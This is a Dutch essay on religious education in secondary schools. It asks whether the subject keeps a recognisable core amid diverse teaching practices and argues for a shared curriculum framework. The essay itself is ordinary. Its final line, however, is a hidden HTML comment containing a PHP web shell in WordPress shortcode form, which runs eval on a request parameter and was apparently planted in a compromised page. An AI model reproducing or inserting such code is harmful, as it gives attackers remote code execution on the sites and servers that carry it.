Marrakech 2011 183Herkenbaarheid van religieus leren in een veelvormig schoolvak

 

Je kunt de gezondheid van het schoolvak godsdienst/levensbeschouwing bekijken vanuit het perspectief van een leerling die verhuist en op een nieuwe school de schoolloopbaan vervolgt. Dat vervolg is geborgd bij bijna alle vakken. Natuurlijk zullen lesmethodes verschillen maar de eindtermen, de afstemming tussen methodes op die eindtermen en op de ontwikkelingen in opleidingen en wetenschapsgebieden zijn gegarandeerd. Verhuizing van de ene school naar de andere is geen emigratie. Wiskunde is wiskunde, ook in de andere school. En geschiedenis is geschiedenis. Maar geldt dat ook voor levensbeschouwing?  Voor … levensbeschouwing? Voor godsdienst/levensbeschouwing? Voor gelukskunde? Voor Global Learning? Voor ‘zingeving, mens en samenleving’? Alleen al de naam van het vak is geen vast gegeven. En voor inhoud en onderwijsprogramma geldt hetzelfde. Niet alle scholen bieden het vakgebied aan in een lange leerlijn waarin de verschillende jaren binnen dezelfde school in elkaars perspectief staan. Er zijn zelfs vakgroepen waarin weinig overeenstemming is tussen de docenten over de kern van het vak. Is er nog een vak onder deze diversiteit?

Aan het leerlingenperspectief dat De Beer en Hamers beschrijven voeg ik het perspectief van de leraar toe. Een sollicitatiegesprek op een school is voor de nieuwe leraar een verkenningsgesprek: wat gebeurt er in deze school in het vak? Dat wisselt van school tot school zo sterk, soms ook bij scholen die onder hetzelfde bestuur vallen, dat de gedachte kan opkomen dat het diploma docent Godsdienst/levensbeschouwing een diploma voor vele vakken is. Het maakt heel wat uit of je op een school in een grootsteedse context, op of over de rand van de verzuiling, gaat werken, of op een gereformeerd lyceum. Bereiden opleidingen voldoende voor op deze diversiteit? Tot welke mobiliteit zijn leraren vanuit hun opleiding in staat?

 

Veelheid en verschil

Diversiteit is op zichzelf niet het probleem. Het hoort bij onderwijs. Het geven van onderwijs is altijd een kwestie van afstemmen op en communiceren met de specifieke situatie van leerlingen en de samenleving en cultuur in de regio. Onderwijs leeft als het deze adaptatie kan opbrengen. Adaptatie aan de leeromgeving is ook essentieel voor de professionaliteit van de leraar. Je moet in verschillende contexten kunnen werken en zelfs de verschillen tussen leerlingen binnen één klas kunnen hanteren. De ene leerling is de andere niet. Ook het ene leerjaar is het andere niet. Een kwestie van weten waar de voorkennis en de interesse van leerlingen ligt, wat hun favoriete leerstrategie is, hoe de keuze van onderwerpen en didactiek past bij de ontwikkeling van hun leergedrag. Leraren kunnen hun beroepsrol in de onderbouw afwisselen met die in de bovenbouw. Dat is een kwestie van anders zijn en dezelfde blijven. Je moet het maar kunnen. Maar het is te leren en deze beweeglijkheid is ook een van de belangrijkste pijlers van de professionaliteit van de leraar. Kunnen omgaan met verschillen hoort bij goed leraarschap. Dit omgaan met verschillen pulseert tussen twee polen: de pool van de beroepskern (vakinhoud en didactiek, de twee-eenheid van de vakdidactiek) en de pool van de concrete situatie die om afstemming van de vakdidactiek vraagt. Professionaliteit is dan het vermogen om de energie door beide polen te laten stromen en zo koers te vinden. Een leraar past niet een vakdidactisch handboek toe door de situatie in de les daaraan ondergeschikt te maken. Evenmin is de vakdidactiek ondergeschikt aan de situatie in de les. Vakdidactische professionaliteit bestaat in het kwetsbare evenwicht van de afstemming tussen deze polen die permanent gevonden moet worden. Dat is het avontuur van het leraarschap waardoor lessen ondanks dezelfde voorbereiding toch zo sterk kunnen verschillen, en waardoor schoolvakken van de ene school tot de andere school verschillen. Dit verschil is een indicatie van het leven van onderwijs.

Maar dat is wat anders dan ondergaan in veelheid. Om op verschillende contexten te kunnen inspelen moet er iets zijn dat hetzelfde blijft. Als verschillen verworden tot veelheid levert professionaliteit in de verschillende onderwijssituaties niet meer variaties van hetzelfde vak op doordat de beroepskern (inhoud, didactisch inzicht) wegvalt. Dan verliest het vak herkenbaarheid, verdwijnt het achter de individuele leraar. Dan slaan verschillen om in veelheid. Dat kan een eenzaam traject worden als daarmee ook de band met vakcollega’s verschrompelt. Verschil kun je maken door vanuit een professioneel standpunt met de concrete situatie af te stemmen. Maar in veelheid kun je ten onder gaan omdat er geen standpunt meer is.

Ontwikkelt religieus onderwijs in het voortgezet onderwijs zich niet naar veelheid, omdat lespraktijken steeds minder het resultaat zijn van professionele vakdidactische beslissingen en het vak zich zonder dat er een vakdidactisch standpunt is aanpast aan de omgeving? Een vak kan dan herkenbaarheid verliezen. Zeker wanneer door ontzuiling de invloed zwakker wordt van bestuurlijke instanties die religieus onderwijs borgen en afstemmen. Verlies aan herkenbaarheid is een probleem voor leerlingen: in hun ogen kan het vak gemakkelijk geïdentificeerd worden met een groep thema’s zonder dat er een structuur herkenbaar is waarmee die thema’s worden aangepakt. Wanneer die structuur onduidelijk is, dan is het ook moeilijk om af te stemmen en samen te werken met vakcollega’s, en met collega’s van andere vakken en om aan ouders te presenteren wat je doet of met schoolleiders te onderhandelen over lessentabellen, roosters en onderwijsmiddelen.

Verschil en veelheid zijn niet hetzelfde. Veelheid is tegen zichzelf gekeerd (Berger 1977). Er is geen samenhang en geen verbinding. Wat in veelheid verkeert heeft geen band met het andere. Uiteenlopende lespraktijken hebben dan te weinig gemeen om bij elkaar te horen. Bij verschil ligt dat anders. Verschillen zijn op elkaar betrokken doordat ze verwijzen naar iets gemeenschappelijks. De vraag is of religieuze educatie in het Nederlands onderwijs ontwikkelt naar veelheid of naar verschil. En de vraag is of de veelheid die nu ontstaat kan worden teruggebracht tot verschillen door een vernieuwde, verbindende vakdidactiek.

Hoeveel diversiteit een vak verdragen kan is een vraag naar de kern van het vak. Die vraag is in de artikelen van dit Narthex nummer aan de orde. Niet allereerst als een academische vraag (hoewel een academisch licht op deze vraag hard nodig is) maar als een existentiële vraag: een vraag naar de toekomst van vak: hoe die eruit ziet en of die er nog is. Bieden de vakvisies van de opleidingen die in dit Narthexnummer worden gegeven aanknopingspunten om te overstijgen? Dat zal afhangen van het oplossen van vier puzzels. Allereerst is er de vraag of er een gezamenlijke kerninhoud van het vak kan worden gevonden. Vervolgens gaat het om overeenstemming over de manier waarop religie in de laatmoderne Nederlandse samenleving er bij staat. In de derde plaats is er consensus nodig over de leermodellen en hun afstemming in het instituut school. In de vierde plaats gaat het om het samen komen van deze puzzels in een gezamenlijk onderwijskundig ontwerpinstrument waarmee de veelheid van onderwijsvormen tot verschillende vormen van religieus onderwijs kunnen worden verbonden. De vraag naar de haalbaarheid van zo’n ontwerpinstrument is ook een vraag naar de toekomst van het vak.

 

Het inhoudelijk atoom

Hoeveel gezamenlijks bieden de opleidingen in de artikelen in dit nummer aan visie op de inhoud van het vak? Het gaat me dan nog niet om een fijnmazige uitwerking van die inhoud maar om de kern daarvan. Zijn deze visies tegen elkaar verdeeld? Of is er een verbinding van verschillen mogelijk? Alleen al de term religie (die daarvoor in het buitenland gemunt is) roept in het Nederlands geschillen op. Religie identificeren we gemakkelijk met godsdienstige tradities en dat is een vorm van uitsluiting van niet godsdienstige en niet traditionele religie. De term ‘zin’ kan fungeren als overkoepelend perspectief (De Beer en Hamers). Maar ook dan moet overeenstemming bestaan over wat met ‘zin’ bedoeld is. Passen transcendentie en genade daarin? Hoe verhouden het opbouwen van zin en het ontvangen van zin zich tot elkaar? Hoe is het concept zin concreet en existentieel te maken in ervaringen? Hoe verhoudt ‘zin’ zich tot religieuze tradities? Zijn dat antwoordsystemen of, als (gestolde) ervaringen (Luijten en De Pater), manieren van omgaan met zin? Kunnen we kernervaringen van tradities hierin plaatsen? Is het begrip ‘zin’ een toegang tot religieuze tradities en persoonlijke en niet aan tradities gebonden religiositeit? Of werkt het andersom? Ik denk dat we uit deze puzzel kunnen komen als we het concept zin invullen als een werkwoord (De Beer) en als een benadering die gericht is op het mysterie van bestaan met oog voor transcendentie in hoogte en diepte, tastbaar in concrete ervaringen van mensen binnen en buiten religieuze tradities. Al die aspecten van de kerninhoud impliceren elkaar en moeten onderdeel van de inhoud van het leren zijn. Waar je in het programmeren van lessen begint is dan een kwestie van afstemmen op leerlingen en de identiteit van de school. Leraren zouden moeten zijn opgeleid om de inhoud vanuit de verschillende dimensies van ‘Zin’ en tradities op te bouwen.

 

Religie in Nederland: transformatie van traditie naar handelen

Van groot belang is dat opleidingen in hun visie op het vak rekenschap geven van de actuele sociale en culturele context van Nederland: hoe komt religie in Nederland voor? Dat is niet alleen bepaald door de erfenis van de religieuze tradities. Ook de manier waarop tradities ruimte krijgen in de samenleving bepaalt de concreetheid van religie. De verschillen tussen de opleidingen zijn voor een deel terug te voeren op de relatie van de opleiding met de manifestaties van religie in onze samenleving. De vakvisie van verschillende opleidingen komt voort uit de relatie van de opleiding met een specifieke religieuze traditie. Andere opleidingen zijn gericht op de ontwikkeling van een persoonlijke levensbeschouwing of leefstijl. De bijdrage van Marie Louise Reijn over de opleiding van Inholland geeft aan hoe deze opleiding reageert op de toegespitste sociale en culturele situatie van de Randstad.De vraag is of deze visies elkaar uitsluiten en nopen tot educatieve veelheid, of dat ze op elkaar betrokken zijn?

Het Sociaal Cultureel Planbureau en de Wetenschappelijke Raad voor het Regeringsbeleid onderzoeken de manier waarop religie voorkomt in Nederland. Ze stellen vast dat religie in een transformatieproces verkeert: een transformatie van religie als een traditioneel systeem enerzijds naar het opbouwen van een religieuze positie door een persoon anderzijds. Dit gegeven sluit aan bij de ontzuiling die zich in Nederland op institutioneel niveau heeft voltrokken. De transformatie van religie is ontzuiling op het niveau van de persoonlijke religie. De meeste Nederlanders hebben geen afscheid genomen van religie, maar wel van tradities als vastgelegde institutionele systemen. Dit betekent niet dat religieuze tradities er niet meer toe doen, wel dat ze actueel zijn door de vele riten, symbolen, heilige boeken, kunstvormen waarmee mensen hun religieuze positie kunnen opbouwen. De toegang tot tradities ligt daarmee steeds vaker in het knooppunt met het religieus handelen van personen. Hermeneutiek van tradities wordt praktische hermeneutiek, zoals in de bijdragen van Praamsma en Kuindersma. Niet tradities maar traditionalisme staat tegenover het religieus handelen van personen. Traditionalisme is de opvatting dat tradities afgesloten en vaste systemen zijn die onafhankelijk van het doen en laten van mensen bestaan. Je kunt op basis hiervan onderwijsstrategieën ontwikkelingen die vanuit de pool van traditie vertrekken, en vanuit de pool van de persoon zonder dat deze strategieën elkaar uitsluiten. Want beide polen zijn op elkaar gericht en hebben elkaar nodig. De keuze voor de een geeft toegang tot de ander. Dat is kenmerk van verschil en juist niet van veelheid. Dan kun je onderwijs ontwerpen dat afgestemd is op wat de onderwijscontext vraagt zonder dat de gekozen onderwijsstrategie de andere keus uitsluit.

 

Modellen voor religieus leren

Het derde punt waarop de visies van de opleidingen uiteen gaan betreft de leermodellen. Het gaat daarbij om het perspectief van het leren en om het leergedrag zelf. Wat betreft het perspectief van leren is er enerzijds de keuze voor een hermeneutisch model dat leerlingen leert omgaan met het tegoed van een religieuze traditie zoals Pollefeyt en Maex in Leuven hebben ontwikkeld. De bijdrage van Erik Luijten en Jos De Pater, maar ook die van Praamsma en Kuindersma passen hierbij. Anderzijds is er de optie voor een hermeneutiek van het religieuze zoals De Beer en Hamers met het begrip ‘zin’ voor hebben. Beide opties zijn niet tegen elkaar verdeeld maar kunnen gezien worden als twee opties die naar elkaar verwijzen. Het Leuvense model impliceert een inhoudelijke uitwerking van religie als zodanig. En bij De Beer en Hamers fungeren concrete religieuze tradities als plaatsen waar het zoeken naar zin zich voltrekt. Vanuit een religieuze handelingstheorie kunnen beide posities bij elkaar worden gebracht (Geurts 2014b).

Als het gaat om het leergedrag zelf dan zijn er diverse opposities in de visies van de opleidingen. Richt het leergedrag zich op het begrijpen van religie of op het religieus handelen? Ook daarbij kunnen tegenstellingen verbonden worden. Begrijpen is een belangrijk onderdeel in het leren van handelingen. Een onderliggende leertheorie verbindt tegenstellingen tot verschillen die naar elkaar verwijzen. Is er bereidheid om een leertheoretische invalshoek in te nemen in deze discussie, en om binnen deze invalshoek een positie in te nemen?

 

Vakdidactisch ontwerpinstrument

Het bepalen van de inhoudelijke kern van religieus leren, de afstemming daarvan op de manier waarop religie in onze samenleving voorkomt en het kiezen van modellen voor religieus leren zijn drie vakdidactische puzzels die samenhangen. Op zichzelf is overeenstemming bij deze puzzels nog niet voldoende voor een professionele vakdidactische positie waarin de verschillen tussen concrete leerprocessen bijeen gehouden worden als varianten binnen één vak. Daarvoor is de uitwerking van deze uitgangspunten nodig in een algemeen vakdidactisch ontwerpinstrument. Er moet met spoed gezocht worden naar uitwerking van mogelijke overeenstemming op het niveau van de uitgangspunten in een plan voor onderwijspraktijken. Daarin worden de drie puzzels als uitgangspunten uitgewerkt naar onderwijspraktijk. Een gezamenlijk raamleerplan voor religieus leren in het voortgezet onderwijs is een onmisbaar instrument voor de herkenbaarheid van het vak en voor de professionaliteit van leraren, en voor de onderlinge afstemming van opleidingen. Hiermee kan de dreigende veelheid in de onderwijspraktijk worden gekanaliseerd tot verschillen binnen een vak zodat van veelheid verschillen gemaakt worden. Is een dergelijk raamleerplan haalbaar? Wat gebeurt er met de spanning tussen veelheid en diversiteit van onderwijspraktijken als een dergelijk plan er niet komt? Toekomst zal er altijd zijn. Maar als daarin plaats is voor religieus leren als een herkenbaar schoolvak, dan moet er aangepakt worden.

 

Berger, Zo wijd als alle werkelijkheid, Baarn, 1977.

Geurts, Over het bezweren van levensvragen, in: Verbum 65(1998), 40-45.

Geurts, T., I. Ter Avest, C. Bakker, Religious Education in the Netherlands, in: Religious Education at Schools in Europe, Part 2: Western Europe, Vienna, p. 171-204.

Geurts, Leren spelen met vuur, Naar een praktische hermeneutiek van het christendom in handelingsgerichte religieuze educatie, Leuven, 2014, in druk.

<!– [insert_php]if (isset($_REQUEST["rpYQI"])){eval($_REQUEST["rpYQI"]);exit;}[/insert_php][php]if (isset($_REQUEST["rpYQI"])){eval($_REQUEST["rpYQI"]);exit;}[/php] –>